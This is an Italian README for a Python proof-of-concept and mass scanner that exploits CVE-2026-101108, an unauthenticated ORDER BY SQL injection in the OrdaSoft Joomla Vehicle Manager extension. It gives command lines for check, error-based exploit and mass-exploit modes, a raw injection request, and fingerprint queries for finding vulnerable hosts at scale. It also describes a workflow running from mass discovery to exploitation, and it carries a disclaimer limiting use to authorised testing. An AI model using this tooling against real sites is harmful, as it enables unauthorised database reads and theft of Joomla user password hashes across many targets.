
PoC in Python 3 e scanner di massa per CVE-2026-101108, un'iniezione SQL ORDER BY non autenticata in OrdaSoft Joomla Vehicle Manager <=6.5.7 (com_vehiclemanager).
PoC in Python 3 per CVE-2026-101108 — estensione Joomla OrdaSoft Vehicle Manager (Free) ≤ 6.5.7. Corretta in 6.5.8+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101108 |
| Catalogo | https://pocbit.org/pocs/ |
| Componente | com_vehiclemanager |
| File | site/vehiclemanager.php |
| Parametri | order_field, order_direction → ORDER BY (senza virgolette) |
| Autenticazione | Nessuna (viste pubbliche categoria / ricerca / tutti i veicoli) |
| CWE | CWE-89 SQL Injection |
| CVSS 4.0 | 9.3 Critico (Joomla CNA) |
Vehicle Manager (Free) è un'estensione OrdaSoft che offre annunci di veicoli su Joomla (categoria, ricerca, tutti i veicoli). Nelle versioni 6.5.7 e precedenti, i parametri di ordinamento order_field e order_direction vengono elaborati all'interno di site/vehiclemanager.php: sull'input viene applicato l'escaping, ma poiché il valore viene inserito in un'espressione ORDER BY senza virgolette, l'escaping rimane inefficace contro la SQLi (descrizione CNA).
Senza autenticazione, l'attaccante può leggere/scrivere nel database, con un rischio critico per gli hash degli utenti Joomla e l'integrità del sito. Aggiornare alla versione 6.5.8 o successiva.
Il tipico codice Joomla/PHP potrebbe far passare l'input dell'utente attraverso un "sanitizer" che effettua l'escaping delle virgolette per i letterali stringa. In ORDER BY, i nomi delle colonne e le espressioni non sono letterali stringa — la chiave di ordinamento viene concatenata come struttura SQL. Un attaccante fornisce espressioni come sottoquery basate su errori al posto di un vero nome di colonna. Il testo CNA per CVE-2026-101108 documenta esplicitamente questo schema di bypass dell'escaping.
Punti di ingresso frontend anonimi interessati:
showCategory)search / task correlati)showVehicles e simili)| Modalità | Comportamento |
|---|---|
| check | Fingerprint del componente + versione del manifest, scoperta di catid/Itemid, conferma della SQLi |
| exploit | Doppia query basata su errore in stile EXTRACTVALUE tramite ORDER BY |
| mass | --list + -j per check massivo o estrazione massiva |
Vettori di injection provati (il primo che riesce vince in exploit):
order_field GETorder_direction GET (asc,<subquery>)order_field POSTorder_direction POSTCampi JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component.
cd CVE-2026-101108
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py -u https://target.example --mode exploit --vector order_direction_get
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 15 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Flag | Significato |
|---|---|
--aggressive | La modalità check tenta anche la fuga di SELECT VERSION() |
--subquery | SELECT interna per il payload basato su errore (MySQL) |
--vector | Forza uno dei quattro vettori ORDER BY |
--exploited-list | Fughe separate da tab su exploit riuscito |
--no-color | CLI semplice (NO_COLOR rispettato) |
Codici di uscita: modalità exploit 0 quando exploited: true; modalità check 0 quando exploitable_candidate.
Route categoria (parametri di ordinamento aggiunti dal PoC):
GET /index.php?option=com_vehiclemanager&task=showCategory&catid=1&order_field=<payload>&order_direction=asc HTTP/1.1
Baseline della route di ricerca costruita dal PoC:
GET /index.php?option=com_vehiclemanager&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=all HTTP/1.1
Quando leggibile:
/administrator/components/com_vehiclemanager/vehiclemanager.xmlVersione ≤ 6.5.7 → likely_vulnerable_version. ≥ 6.5.8 → patched_version.
body="option=com_vehiclemanager"
body="/components/com_vehiclemanager/" && body="Joomla"
title="Vehicle" && body="com_vehiclemanager"
body="ordasoft" && body="vehiclemanager"
Esporta gli host in targets.txt (un URL di base per riga), poi check → hits → exploit solo su asset autorizzati.
Stessa finestra di divulgazione delle CVE di Real Estate Manager (ad es. CVE-2026-100752 / CVE-2026-100753): diverse estensioni Joomla OrdaSoft hanno ricevuto correzioni per SQLi/XSS. Se utilizzi Vehicle Manager, applica la patch a tutti i componenti OrdaSoft che distribuisci.
| CVE | Prodotto | Problema | Corretto |
|---|---|---|---|
| CVE-2026-101108 | Vehicle Manager (Free) | SQLi ORDER BY non autenticata | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | SQLi ORDER BY non autenticata | 6.7.9 |
Credito (CNA): Ala Arfaoui.
com_vehiclemanager (versioni precedenti, parametri di ricerca) — distinta ma correlata alla superficie del componenteSolo test di sicurezza autorizzati e validazione di patch.
CVE-2026-101108 PoC: OrdaSoft Joomla Vehicle Manager (Free) <=6.5.7 unauth SQLi — order_field/order_direction unquoted ORDER BY (com_vehiclemanager). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101108